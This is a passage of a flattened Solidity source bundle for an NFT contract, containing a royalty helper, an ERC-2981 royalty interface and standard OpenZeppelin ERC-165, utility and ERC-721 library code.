result; } uint256 percent = (amount * 100 / _WEIGHT_VALUE) * 100; require(percent < 10000, "Royalties 2981, than 100%"); result = new LibPart.Part[](1); result[0].account = payable(to); result[0].value = uint96(percent); return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library LibPart { bytes32 public constant TYPE_HASH = keccak256("Part(address account,uint96 value)"); struct Part { address payable account; uint96 value; } function hash(Part memory part) internal pure returns (bytes32) { return keccak256(abi.encode(TYPE_HASH, part.account, part.value)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./LibPart.sol"; /// /// @dev Interface for the NFT Royalty Standard /// //interface IERC2981 is IERC165 { interface IERC2981 { /// ERC165 bytes to add to interface array - set in parent contract /// implementing this standard /// /// bytes4(keccak256("royaltyInfo(uint256,uint256)")) == 0x2a55205a /// bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a; /// _registerInterface(_INTERFACE_ID_ERC2981); /// @notice Called with the sale price to determine how much royalty // is owed and to whom. /// @param _tokenId - the NFT asset queried for royalty information /// @param _salePrice - the sale price of the NFT asset specified by _tokenId /// @return receiver - address of who should be sent the royalty payment /// @return royaltyAmount - the royalty payment amount for _salePrice function royaltyInfo( uint256 _tokenId, uint256 _salePrice ) external view returns ( address receiver, uint256 royaltyAmount ); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 